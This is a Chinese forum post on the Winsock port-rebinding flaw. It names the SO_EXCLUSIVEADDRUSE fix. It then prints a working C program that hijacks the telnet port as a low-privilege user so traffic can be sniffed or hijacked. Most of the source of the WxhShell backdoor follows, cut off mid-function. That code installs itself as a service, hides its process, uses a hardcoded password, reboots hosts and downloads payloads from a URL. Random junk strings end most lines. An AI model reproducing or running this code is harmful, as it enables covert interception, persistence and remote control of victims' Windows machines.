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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mP ^*nB@,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pR~"p#Y  
2ZQ|nwb7  
  saddr.sin_family = AF_INET; { *Wc`ZBY  
S!~p/bB[+I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5{M$m&$1  
bg,VK1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l8N5}!N  
8EZ,hY^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9CHn6 v ~)  
P6 mDwR  
  这意味着什么?意味着可以进行如下的攻击:  W o$UV  
G)7J$4R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hmtDw,j  
! 9=Y(rb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6E:5w9_=c  
f.U.(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7, :l\t  
:N:e3$c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BKW%/y"  
S L~5[f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8)&J oPN  
!Y]%U @4}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i8(n(  
IS }U2d,W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O:[@?l  
\1#!% I=.  
  #include AKKVd% P(  
  #include [{rne2sA  
  #include q&EwD(k  
  #include    =D?{d{JT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HlX2:\\  
  int main() ]"\XTL0  
  { VDPq3`$+v{  
  WORD wVersionRequested; PAy7b7m~B  
  DWORD ret; .h;X5q1  
  WSADATA wsaData; <p8>"~ R  
  BOOL val; (I(k$g[>  
  SOCKADDR_IN saddr; F#\+.inO  
  SOCKADDR_IN scaddr;  B*Q  
  int err; C= PV-Ul+  
  SOCKET s; +Ram%"Zwh  
  SOCKET sc; /Oa.@53tK6  
  int caddsize; %'[ pucEF  
  HANDLE mt; %Z#[{yuFs  
  DWORD tid;   Ya,(J0l  
  wVersionRequested = MAKEWORD( 2, 2 ); ^NOy: >  
  err = WSAStartup( wVersionRequested, &wsaData ); =zKbvwe%X  
  if ( err != 0 ) { }{ "RgT-qG  
  printf("error!WSAStartup failed!\n"); \E2S/1p  
  return -1; h>jp.%oOu  
  } 3x~AaC.j  
  saddr.sin_family = AF_INET; 15`,kJSK  
   }zV#?;}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3})0p  
.[X"+i\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3O'X;s2\d  
  saddr.sin_port = htons(23); U7Pn $l2!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8*yk y  
  { N!=Q]\ZD  
  printf("error!socket failed!\n"); 5[>N[}Ck>  
  return -1; dZjh@yGP.  
  } 2/FH9T;e".  
  val = TRUE; d0@czNWIC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aOo;~u2-=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?VT ]bxb  
  { Jl^THoEL  
  printf("error!setsockopt failed!\n"); JB\BP$ap  
  return -1; rwep e5  
  } ( 0Z3Ksfj1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |oJ R+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s$;IR c5!6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "]{"4qV1=  
8\ WOss)al  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^Dhu8C(  
  { r=pb7=M#LN  
  ret=GetLastError(); vE+OL8V  
  printf("error!bind failed!\n"); $;%dQ!7*  
  return -1; 834dsl+U  
  } ,4z?9@wQ  
  listen(s,2); f@= lK?Pfh  
  while(1) 2T#>66^@q  
  { /w*;|4~Bf  
  caddsize = sizeof(scaddr); ^5![tTJ  
  //接受连接请求 ]gGCy '*)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $5m_)]w4a  
  if(sc!=INVALID_SOCKET) jF%[.n[BU  
  { n`)wD~mk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Zr@G  
  if(mt==NULL) PyfOBse}r  
  { #2*2xt  
  printf("Thread Creat Failed!\n"); t#[u X?  
  break; -,#LTW<.  
  } z;En Ay{9  
  } l<mEGKB#  
  CloseHandle(mt); k@= LR  
  } 0^{?kg2o_  
  closesocket(s); -#?p16qz5  
  WSACleanup(); d[.JEgU  
  return 0; (KxL*gB  
  }   )C CrO   
  DWORD WINAPI ClientThread(LPVOID lpParam) V2?&3Z) W  
  { 5Pl~du  
  SOCKET ss = (SOCKET)lpParam; O6pL )6d  
  SOCKET sc; F DCHB~D  
  unsigned char buf[4096]; c;e2= A  
  SOCKADDR_IN saddr; .8%mi'0ud  
  long num; Q35/Sp[;x  
  DWORD val; (e;9 ,~u)  
  DWORD ret; P>t[35/1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U)N_/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6|D,`dk3U  
  saddr.sin_family = AF_INET; Wd_cNR\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #D{//P|;  
  saddr.sin_port = htons(23); gZr/Dfy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O/=i'0X v  
  { _('KNA~  
  printf("error!socket failed!\n"); kDG'5X;+  
  return -1; jHx<}<  
  } :i6k6=  
  val = 100; -cHX3UAEI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?geEq'  
  { ,\K1cW~U5  
  ret = GetLastError(); mJ|7Jc  
  return -1; 8\^[@9g3\3  
  } =Gq 'sy:h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L){rv)?="  
  { _8'FI_E3  
  ret = GetLastError(); k&1~yW  
  return -1; '.wyfSH@  
  } AT{ewb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g{ cHh(S  
  { cKX6pG  
  printf("error!socket connect failed!\n"); \k|ZbCWg  
  closesocket(sc); ,{{uRs/  
  closesocket(ss); F W# S.<  
  return -1; :oH"  
  } Z<#beT6  
  while(1) .#b!#   
  { $bU|'}QR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t'EH_ U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \8!&X cA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [lC*|4t&  
  num = recv(ss,buf,4096,0); "=W7=V8w  
  if(num>0) f#p.=F$  
  send(sc,buf,num,0); M#qZ0JT4  
  else if(num==0) *S.2p*Vd  
  break; P~0d'Oi  
  num = recv(sc,buf,4096,0); O>Nop5#o  
  if(num>0) 4565U  
  send(ss,buf,num,0); Cse@>27s  
  else if(num==0) %XqLyeOS  
  break; s.rS06x  
  } I$neE"wW  
  closesocket(ss); oWpy ^=D_  
  closesocket(sc); S`"M;%T  
  return 0 ; U jC$Mi`O  
  } BV&}(9z  
LTY@}o]\U  
Nky%v+r  
========================================================== E$FXs~a  
$s hlNW\  
下边附上一个代码,,WXhSHELL 5CkM0G`  
J|Lk::Ri  
========================================================== id.o )=  
L$`!~z 1  
#include "stdafx.h" dxkXt  k  
@Ey(0BxNu  
#include <stdio.h> MWCP/~>a2  
#include <string.h> X./4at`  
#include <windows.h> >:s.` jV<  
#include <winsock2.h> 'lv\I9"S)  
#include <winsvc.h> ,h1r6&MEY  
#include <urlmon.h> h.QKbbDj  
zk4yh%Cd_  
#pragma comment (lib, "Ws2_32.lib") HFx8v!^5N  
#pragma comment (lib, "urlmon.lib") '8>#`Yba  
T"Wq:  
#define MAX_USER   100 // 最大客户端连接数 mV;Egm{A\  
#define BUF_SOCK   200 // sock buffer 4kA/W0 VG  
#define KEY_BUFF   255 // 输入 buffer h"YIAQ',  
0=s+bo1  
#define REBOOT     0   // 重启 ZBJYpeGe  
#define SHUTDOWN   1   // 关机 b=QO^  
eR8qO"%2:  
#define DEF_PORT   5000 // 监听端口 ;sa-Bh=j^  
1H @GwQ|<=  
#define REG_LEN     16   // 注册表键长度 T.HI $(d  
#define SVC_LEN     80   // NT服务名长度 EPr{1Z  
U$pHfNTH  
// 从dll定义API j*$GP'Df3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {P(Z{9u%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -?!Z/#i4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /+J?Ep(_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F#iLMO&Q  
b9OT~i=S|  
// wxhshell配置信息 @yB!?x  
struct WSCFG { g B<p  
  int ws_port;         // 监听端口 Gn;eh~uw;l  
  char ws_passstr[REG_LEN]; // 口令 ;'pEzz?k"  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~?6V-m{>#  
  char ws_regname[REG_LEN]; // 注册表键名 tZ=BK:39\  
  char ws_svcname[REG_LEN]; // 服务名 C>@~W(IE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RN3w{^Ll  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .d9VV&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (^9q7)n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^#S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }x-~>$:"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7 s5?^^  
cCU'~  
}; OR( )D~:n  
}<&g1x'pa  
// default Wxhshell configuration lV$U!v: b  
struct WSCFG wscfg={DEF_PORT, 4%p5X8|\ih  
    "xuhuanlingzhe", (1(3:)@S6  
    1, q?Q"Ab  
    "Wxhshell", 8R:H{)o~s}  
    "Wxhshell", `/]8C &u  
            "WxhShell Service", =X>3C"]  
    "Wrsky Windows CmdShell Service", +&a2aEXF  
    "Please Input Your Password: ", *s?&)][  
  1, 8{JTR|yB  
  "http://www.wrsky.com/wxhshell.exe", : O t\l  
  "Wxhshell.exe" h.4;-&  
    }; oRy?Dx+H  
J*,Ed51&7  
// 消息定义模块 c1CP1 2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z5-"a?{Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $}OU~d1q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0c7&J?"wE  
char *msg_ws_ext="\n\rExit."; f;pR8  
char *msg_ws_end="\n\rQuit."; ~?-U J^#  
char *msg_ws_boot="\n\rReboot..."; $1\<>sJH  
char *msg_ws_poff="\n\rShutdown..."; \p@,+ -gX  
char *msg_ws_down="\n\rSave to "; ahS*YeS7  
}PyAmh$@  
char *msg_ws_err="\n\rErr!"; JeUFCWm  
char *msg_ws_ok="\n\rOK!"; aiw~4ix  
nf /iZ &  
char ExeFile[MAX_PATH]; %nOBsln  
int nUser = 0; tJ.LPgfZ  
HANDLE handles[MAX_USER]; / vje='[!  
int OsIsNt; vo uQ.utl  
.(CzsupY_q  
SERVICE_STATUS       serviceStatus; '|4/aHU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TR{8A^XhE8  
\#2,1W@  
// 函数声明 ?_W "=WpC  
int Install(void); <pYGcVB9V  
int Uninstall(void); U`:#+8h-}  
int DownloadFile(char *sURL, SOCKET wsh); i3;Z:,A4NN  
int Boot(int flag); z=>]E 1'RL  
void HideProc(void); Ax0u \(p<^  
int GetOsVer(void); w6R=r n  
int Wxhshell(SOCKET wsl); DWk'6;e4j  
void TalkWithClient(void *cs); {E6b/G?Q  
int CmdShell(SOCKET sock); I^M3>}p  
int StartFromService(void); } %S1OQC  
int StartWxhshell(LPSTR lpCmdLine); A[ /0on5r  
9Wx q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5 ;dg#hO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gA2\c5F<  
]ueq&|  
// 数据结构和表定义 [:g6gAuh,  
SERVICE_TABLE_ENTRY DispatchTable[] = )5d&K8@  
{ +*)B;)P  
{wscfg.ws_svcname, NTServiceMain}, Q`AJR$L  
{NULL, NULL} f:"es: Fb  
}; mN3%;$ND7  
$L:g7?)k  
// 自我安装 \RMYaI^+;  
int Install(void) u33+ikYv  
{ xE;fM\7pu  
  char svExeFile[MAX_PATH]; o0s+ roiD  
  HKEY key; LL9Mty,  
  strcpy(svExeFile,ExeFile); i0p"q p  
MV9{>xX  
// 如果是win9x系统,修改注册表设为自启动 a/L?R Uu  
if(!OsIsNt) { ?@_3B]Fs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pl q$t/.U;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "M_X9n_  
  RegCloseKey(key); ~O@V;y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z>~`9Qiw'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S:rW}rJ  
  RegCloseKey(key); ( M.Sl  
  return 0; RU_=VB %  
    } zMtK_ccQ  
  } L\y,7@1%AT  
} HX+'{zm]  
else { SRM[IU  
Zn #ri 8S  
// 如果是NT以上系统,安装为系统服务 s( Kf%ZoE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )]>=Uo  
if (schSCManager!=0) ]Z<{ ~  
{ MfeW|  
  SC_HANDLE schService = CreateService 6prN,*k5  
  ( 2',t@<U  
  schSCManager, rCYNdfdpp  
  wscfg.ws_svcname, 1/a*8vuGh  
  wscfg.ws_svcdisp, 1v`<Vb%"}T  
  SERVICE_ALL_ACCESS, _k5KJKvr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vuDp_p*]S  
  SERVICE_AUTO_START, JguE#ob2  
  SERVICE_ERROR_NORMAL, gA~Ih  
  svExeFile, oPzt1Y  
  NULL, l4R:_Z<  
  NULL, 6],5X^*Y  
  NULL, NYR^y \u  
  NULL, DNki xE*  
  NULL [u)^QgP  
  ); ' 'UiQ   
  if (schService!=0) 1__p1  
  { R8o9$&4_  
  CloseServiceHandle(schService); 68 -I2@&  
  CloseServiceHandle(schSCManager); hbE;zY%hP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xOTm-Cm9L  
  strcat(svExeFile,wscfg.ws_svcname); u^ngD64  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { : ]CZS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xg,E;LSF8  
  RegCloseKey(key); [.Kia >  
  return 0; 2{+\\.4Evk  
    } J&8l1{gd  
  } zq{L:.#ha  
  CloseServiceHandle(schSCManager); p+9vSM #  
} .O1g'%  
} 8{Zgvqbb  
Q*mPU=<  
return 1; A[oi?.D  
} 5f}63as  
3.R?=npA  
// 自我卸载 NwT3e&u%|  
int Uninstall(void) @*%5"~F  
{ J,{sRb%  
  HKEY key; ;zSh9H  
!8l4H c8  
if(!OsIsNt) { +Icg;m{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4!/{CGP  
  RegDeleteValue(key,wscfg.ws_regname); .f(x9|K^  
  RegCloseKey(key); ] MUuz'<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eg  w?  
  RegDeleteValue(key,wscfg.ws_regname); 3ufUB^@4v  
  RegCloseKey(key); 5zfaqt`  
  return 0; KS(s<ip|  
  } {CQA@p:Y}  
} jw(v08u >  
} Rfa1 v*(  
else { Wv(VV[?/&  
dLQ!hKD~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $[FO(w@f  
if (schSCManager!=0) hz\7Z+$L_  
{ #@y4/JS&2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^P&y9dC.  
  if (schService!=0) p(U' c}@2  
  { nBGk%NM 8  
  if(DeleteService(schService)!=0) { )W*S6}A  
  CloseServiceHandle(schService); 8#7z5:_  
  CloseServiceHandle(schSCManager); !\?? [1_e  
  return 0; G'{4ec0<{  
  } "hs`Y4U  
  CloseServiceHandle(schService); /A <L  
  } 2,NQ(c_c$  
  CloseServiceHandle(schSCManager); EVRg/ {X  
} kCN9`9XI{  
} \!G&:<h  
@Cw<wrem  
return 1; ,pf<"^li  
} &:'Uh W-t  
\ J9@p  
// 从指定url下载文件 oEKLuy  
int DownloadFile(char *sURL, SOCKET wsh) sbkWJy  
{ &*MwKr<y  
  HRESULT hr; a#j0N5<Nl  
char seps[]= "/"; #p=/P{*  
char *token; lm]4zs /A  
char *file; MK~viSgi  
char myURL[MAX_PATH]; /pX\)wi  
char myFILE[MAX_PATH]; e:!&y\'"9  
t55 '  
strcpy(myURL,sURL); 0QEVL6gw  
  token=strtok(myURL,seps); /Pi{Mv eZM  
  while(token!=NULL) =AZ>2P  
  { 9{xP~0g  
    file=token; |910xd`Z  
  token=strtok(NULL,seps); %4+r&  
  } C4Bh#C  
{!'AR`|  
GetCurrentDirectory(MAX_PATH,myFILE); QXgh[9w G  
strcat(myFILE, "\\"); *Pw; ;#\B  
strcat(myFILE, file); ,Qj7wFZ  
  send(wsh,myFILE,strlen(myFILE),0); !:rQ@PSy9  
send(wsh,"...",3,0); 8n);NZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IY,&/MCh  
  if(hr==S_OK) *>S\i7RET  
return 0; Td"f(&Hk&  
else }2V|B4  
return 1; 3x 'BMAA+  
*Swb40L^  
} b/5;377_  
rJ9a@n,  
// 系统电源模块 GaM#a[p  
int Boot(int flag) k gWF@"_  
{ ;f0+'W  
  HANDLE hToken; Wx;9N  
  TOKEN_PRIVILEGES tkp; 0gfa7+Y  
>9Ub=tZm  
  if(OsIsNt) { EiIbp4*e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OYy%aA}h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %2bZeZ  
    tkp.PrivilegeCount = 1; ?sp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nmS3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h"]v+u`!SM  
if(flag==REBOOT) { 3D;\V&([  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~A [ Ju%R  
  return 0; }UQBaqDH  
} [S-NGip  
else { rv:,Os_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c?>Q!sC  
  return 0; vL\wA_z"<H  
} XSn^$$S  
  } GfL}f9  
  else { r$R(4q:  
if(flag==REBOOT) { Fgt/A#`fz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !u>29VN  
  return 0; 2+ >.Z.pX  
} Yz\z Qj  
else { jJ|u!a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3DMfR ofg  
  return 0; VX2bC(E'%  
} vr=iG xD  
} 7GWPsaPn  
IkL|bV3E0  
return 1; O^F%ssF8  
} AEOo]b*&d  
Aj SIM.  
// win9x进程隐藏模块 tlI3jrgw  
void HideProc(void) G5bi,^G7  
{ qmtVk  
B5zu?AG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); li%=<?%T  
  if ( hKernel != NULL ) ^e<0-uM" s  
  { WLv( K_3Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %+Mi~k*A'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FyQ  
    FreeLibrary(hKernel); iV(B0z  
  } Qh%7RGh_  
?fCLiK  
return; l J;wl|9  
} L7%Dc2{^(  
$2 ~A^#"0  
// 获取操作系统版本 >umcpkp- h  
int GetOsVer(void) )Xl/|YD  
{ -Ufd+(   
  OSVERSIONINFO winfo; t 0nGZ%`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L8/o9N1  
  GetVersionEx(&winfo); j}#48{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Ki`W!C  
  return 1; i1\xZ<|0  
  else |Tf}8e  
  return 0; ) ?+-Z2BwA  
} OT{qb!eYI  
#@ 3RYx  
// 客户端句柄模块 Pm#B'N#*N|  
int Wxhshell(SOCKET wsl) W>bhSKV%  
{ J$j&j`  
  SOCKET wsh; !gW$A-XD  
  struct sockaddr_in client; pj?+cy v~  
  DWORD myID; 3yZtyXRPn  
(ZT*EFhb(  
  while(nUser<MAX_USER) 1sGkbfh{t  
{ s80:.B  
  int nSize=sizeof(client); \*v}IO>2})  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S2;{)"mS  
  if(wsh==INVALID_SOCKET) return 1; ,BOB &u  
CZxQz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J0C<Qb[  
if(handles[nUser]==0) }\OLBg/  
  closesocket(wsh); +m Mn1&  
else e7>)Z  
  nUser++; ()}O|JL:K  
  } ;)u}`4~L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y? )v-YGu  
mQ('X~l  
  return 0; EYcvD^!1g  
} yQM7QLbTk  
8y/YX  
// 关闭 socket toX4kmC  
void CloseIt(SOCKET wsh) l/DV ?27  
{ s7D_fv4e  
closesocket(wsh); 0F0V JE  
nUser--; 8Rc4+g  
ExitThread(0); FWq 6e,  
} `jvIcu5c  
f&7SivS#  
// 客户端请求句柄 MS_&;2  
void TalkWithClient(void *cs) X+?*Tw!\  
{ B#B$w_z  
J55K+  
  SOCKET wsh=(SOCKET)cs; A WMR0I  
  char pwd[SVC_LEN]; Haaungb"  
  char cmd[KEY_BUFF]; <@A/`3_O)  
char chr[1]; L!3{ASIN0  
int i,j; ^qIp+[/'  
Op~sR^ez  
  while (nUser < MAX_USER) { x,5$VLs\+  
b+[9) B)a?  
if(wscfg.ws_passstr) { />FrMz8;(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >O9j},X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *<Fz1~%*  
  //ZeroMemory(pwd,KEY_BUFF); B[S.6 "/H  
      i=0; \G#Qe*"'K  
  while(i<SVC_LEN) { #- z*c  
zb?wl fT  
  // 设置超时 >|o-&dk  
  fd_set FdRead; mkk74NY  
  struct timeval TimeOut; c1jHg2xim  
  FD_ZERO(&FdRead); {,]BqFXv  
  FD_SET(wsh,&FdRead); )gmDxD ^C  
  TimeOut.tv_sec=8; fB3O zff  
  TimeOut.tv_usec=0; X']>b   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _-o*3gmbQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  +h9U V  
+&4PGv53J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E,c~.jYc  
  pwd=chr[0]; f8#WT$Ewy  
  if(chr[0]==0xd || chr[0]==0xa) { 6!n"E@Bwu  
  pwd=0; SR*%-JbA  
  break; vk5pnCM^3  
  } xv$^%(Ujp  
  i++; >QE^KtZ  
    } 95T%n{rz  
pnxjuDN7}x  
  // 如果是非法用户,关闭 socket YQ,IdWav  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p0qQ(  
} L}XERO TR  
"<v_fF<Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dr6Br<yi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c~5#)AXMT  
N5}vy$t_P  
while(1) { 1.p?P] .  
9(ZzwkD'>  
  ZeroMemory(cmd,KEY_BUFF); SjtGU47$!  
CBnD)1b\  
      // 自动支持客户端 telnet标准   6KnD(im  
  j=0; Ook3B  
  while(j<KEY_BUFF) { 9`4h"9dO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,\+tvrR4X  
  cmd[j]=chr[0]; Gxi;h=J2)>  
  if(chr[0]==0xa || chr[0]==0xd) { JEdtj1v{O  
  cmd[j]=0; (PsA[>F  
  break; #7lkj:j4  
  } fOE:~3Q  
  j++; i#kRVua/  
    } 66p_d'U  
D'fP2?3FK  
  // 下载文件 o4w+)hh  
  if(strstr(cmd,"http://")) { -fL|e/   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J:?t.c~$o  
  if(DownloadFile(cmd,wsh)) ^nbze  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.=)p"pTd  
  else Kzo{L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :{_Or'L  
  } q E$ .a[  
  else { zesEbR)j  
hf:n!+,C  
    switch(cmd[0]) { 4fzq C)  
  Y0s^9?*  
  // 帮助 1Y}gki^F  
  case '?': { R#Bt!RNZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D.*JG7;=Z  
    break; P%ZWm=lg  
  } GdG%=+  
  // 安装 |i|YlWQS  
  case 'i': { LaN4%[;X1-  
    if(Install()) ]3d&S5zU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a Q`a>&R0  
    else  %ef+Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mh~T.;f.qq  
    break; KO)<Zh  
    } `(Q58wR}  
  // 卸载 YQQ!1 hw  
  case 'r': { YgM6z K~  
    if(Uninstall()) O])/kS`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =;Wkg4\5  
    else }-r"W7]k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|e6$O5o  
    break; 6b<t|zb  
    } AQQj]7Y  
  // 显示 wxhshell 所在路径 JSGUl4N  
  case 'p': { De>pIN;B>  
    char svExeFile[MAX_PATH]; RK rBHqh@  
    strcpy(svExeFile,"\n\r"); cLR8U1k'  
      strcat(svExeFile,ExeFile); Ae ue:u>  
        send(wsh,svExeFile,strlen(svExeFile),0); M\`6H8aLn  
    break; 6bHj<6>MX  
    } .*Hv^_  
  // 重启 D|=QsWZI  
  case 'b': { 'O{hr0q}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jc:G7}j6  
    if(Boot(REBOOT)) PU -~7h+$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5.GBd_;  
    else { <}4|R_xY#  
    closesocket(wsh); 6@l:(-(j2A  
